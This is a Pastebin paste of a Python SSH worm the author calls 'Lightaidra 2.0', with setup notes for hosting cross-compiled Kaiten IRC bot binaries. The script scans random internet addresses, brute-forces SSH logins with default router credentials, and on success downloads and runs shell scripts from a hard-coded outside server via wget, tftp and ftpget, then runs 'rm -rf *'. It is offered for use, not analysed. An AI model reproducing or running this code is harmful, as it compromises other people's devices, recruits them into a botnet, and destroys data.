Advertisement
Guest User

Untitled

a guest
Feb 26th, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.63 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #~WhitePacket
  3. #Lightaidra sucked, so here's 2.0 - will infect thousands of routers.
  4. # To setup, follow the instructions
  5. #-Download kaiten.c from https://dl.packetstormsecurity.net/irc/kaiten.c
  6. #-Cross compile it to sh4, powerpc, mipsel, mips, and armv5l.
  7. #-Put the files in your htdocs directory of a server to host them named something sensible like kaiten-*, wildcard in place of the architecture name.
  8. # Set some stuff on your servers so you don't get capped at 476 open SSH connections.
  9. #-ulimit -n 99999
  10. #-sysctl -w fs.file-max=100000
  11. # Run heavyhidra
  12. #-python infect.py 376 LUCKY x 0
  13. #-python infect.py 376 B 113.53 1
  14.  
  15. import threading, paramiko, random, socket, time, sys
  16.  
  17. paramiko.util.log_to_file("/dev/null") #Prevents paramiko error spam.
  18.  
  19. reservedips = [ #Majestic list of reserved IP's we have no reason to scan. Actually quite dull.
  20. 'http://127.',
  21. 'http://0',
  22. 'http://10.',
  23. 'http://100.64',
  24. 'http://100.65',
  25. 'http://100.66',
  26. 'http://100.67',
  27. 'http://100.68',
  28. 'http://100.69',
  29. 'http://100.70',
  30. 'http://100.71',
  31. 'http://100.72',
  32. 'http://100.73',
  33. 'http://100.74',
  34. 'http://100.75',
  35. 'http://100.76',
  36. 'http://100.77',
  37. 'http://100.78',
  38. 'http://100.79',
  39. 'http://100.80',
  40. 'http://100.81',
  41. 'http://100.82',
  42. 'http://100.83',
  43. 'http://100.84',
  44. 'http://100.85',
  45. 'http://100.86',
  46. 'http://100.87',
  47. 'http://100.88',
  48. 'http://100.89',
  49. 'http://100.90',
  50. 'http://100.91',
  51. 'http://100.92',
  52. 'http://100.93',
  53. 'http://100.94',
  54. 'http://100.95',
  55. 'http://100.96',
  56. 'http://100.97',
  57. 'http://100.98',
  58. 'http://100.99',
  59. 'http://100.100',
  60. 'http://100.101',
  61. 'http://100.102',
  62. 'http://100.103',
  63. 'http://100.104',
  64. 'http://100.105',
  65. 'http://100.106',
  66. 'http://100.107',
  67. 'http://100.108',
  68. 'http://100.109',
  69. 'http://100.110',
  70. 'http://100.111',
  71. 'http://100.112',
  72. 'http://100.113',
  73. 'http://100.114',
  74. 'http://100.115',
  75. 'http://100.116',
  76. 'http://100.117',
  77. 'http://100.118',
  78. 'http://100.119',
  79. 'http://100.120',
  80. 'http://100.121',
  81. 'http://100.122',
  82. 'http://100.123',
  83. 'http://100.124',
  84. 'http://100.125',
  85. 'http://100.126',
  86. 'http://100.127',
  87. 'http://169.254',
  88. 'http://172.16.',
  89. 'http://172.17.',
  90. 'http://172.18.',
  91. 'http://172.19.',
  92. 'http://172.20.',
  93. 'http://172.21.',
  94. 'http://172.22.',
  95. 'http://172.23.',
  96. 'http://172.24.',
  97. 'http://172.25.',
  98. 'http://172.26.',
  99. 'http://172.27.',
  100. 'http://172.28.',
  101. 'http://172.29.',
  102. 'http://172.30.',
  103. 'http://172.32.',
  104. 'http://192.0.0.0',
  105. 'http://192.0.0.1',
  106. 'http://192.0.0.2',
  107. 'http://192.0.0.3',
  108. 'http://192.0.0.4',
  109. 'http://192.0.0.5',
  110. 'http://192.0.0.6',
  111. 'http://192.0.0.7',
  112. 'http://192.0.2.',
  113. 'http://192.88.99.',
  114. 'http://192.168.',
  115. 'http://198.18.',
  116. 'http://198.19.',
  117. 'http://198.51.100.',
  118. 'http://203.0.113.',
  119. 'http://224.',
  120. 'http://225'
  121. ]
  122.  
  123. passwords = [ #Some default SSH logins.
  124. "root:root",
  125. "root:admin",
  126. "admin:admin",
  127. "ubnt:ubnt"
  128. ]
  129.  
  130. print sys.argv[0]+' Threads[max 376] A/B/C(ip class) /RAND IPHERE(1/1.1/1.1.1) 0/1 (password list, root:root) (doesn\'t scan recursively)' #Lack of basic system arguments/coded two years ago. Don't hate.
  131.  
  132. if sys.argv[4] == '1':
  133. passwords = [ "root:root" ] #Faster exploitation with somewhat less results.
  134.  
  135. ipclassinfo = sys.argv[2]
  136. if ipclassinfo == "A":
  137. ip1 = sys.argv[3]
  138. elif ipclassinfo == "B":
  139. ip1 = sys.argv[3].split(".")[0]
  140. ip2 = sys.argv[3].split(".")[1]
  141. elif ipclassinfo == "C":
  142. ips = sys.argv[3].split(".")
  143. num=0
  144. for ip in ips:
  145. num=num+1
  146. if num == 1:
  147. ip1 = ip
  148. elif num == 2:
  149. ip2 = ip
  150. elif num == 3:
  151. ip3 = ip
  152. class sshscanner(threading.Thread):
  153. global passwords
  154. global ipclassinfo
  155. if ipclassinfo == "A":
  156. global ip1
  157. elif ipclassinfo == "B":
  158. global ip1
  159. global ip2
  160. elif ipclassinfo == "C":
  161. global ip1
  162. global ip2
  163. global ip3
  164. def run(self):
  165. while 1:
  166. try:
  167. while 1:
  168. thisipisbad='no'
  169. if ipclassinfo == "A":
  170. self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  171. elif ipclassinfo == "B":
  172. self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  173. elif ipclassinfo == "C":
  174. self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  175. elif ipclassinfo == "LUCKY":
  176. lucky = ["37.237","37.238","37.239","37.236","191.53","186.208","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97"]
  177. self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  178. else:
  179. self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  180. for badip in reservedips:
  181. if badip in self.host:
  182. thisipisbad='yes'
  183. if thisipisbad=='no':
  184. break
  185. self.host=self.host.replace('http://', '') #This could be optimized. This is bad code. No idea why I did it like this.
  186. username='root'
  187. password="0"
  188. port = 22
  189. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  190. s.settimeout(3)
  191. s.connect((self.host, port))
  192. s.close()
  193. ssh = paramiko.SSHClient()
  194. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  195. dobreak=False
  196. for passwd in passwords:
  197. if ":n/a" in passwd:
  198. password=""
  199. else:
  200. password=passwd.split(":")[1]
  201. if "n/a:" in passwd:
  202. username=""
  203. else:
  204. username=passwd.split(":")[0]
  205. try:
  206. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  207. dobreak=True
  208. break
  209. except:
  210. pass
  211. if True == dobreak:
  212. break
  213. badserver=True
  214. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  215. output = stdout.read()
  216. if "inet addr" in output:
  217. badserver=False
  218. websites = [ ]
  219. if badserver == False:
  220. print 'Infected: '+username+'<'+password+'>'+self.host+'|'+str(port)
  221. ssh.exec_command("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://159.89.225.37/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 159.89.225.37 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 159.89.225.37; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 159.89.225.37 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *")
  222. time.sleep(30)
  223. ssh.close()
  224. except:
  225. pass
  226.  
  227. for x in range(0,int(sys.argv[1])): #This may abuse your system resources and anger network administrators.
  228. try:
  229. t = sshscanner()
  230. t.start()
  231. except:
  232. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement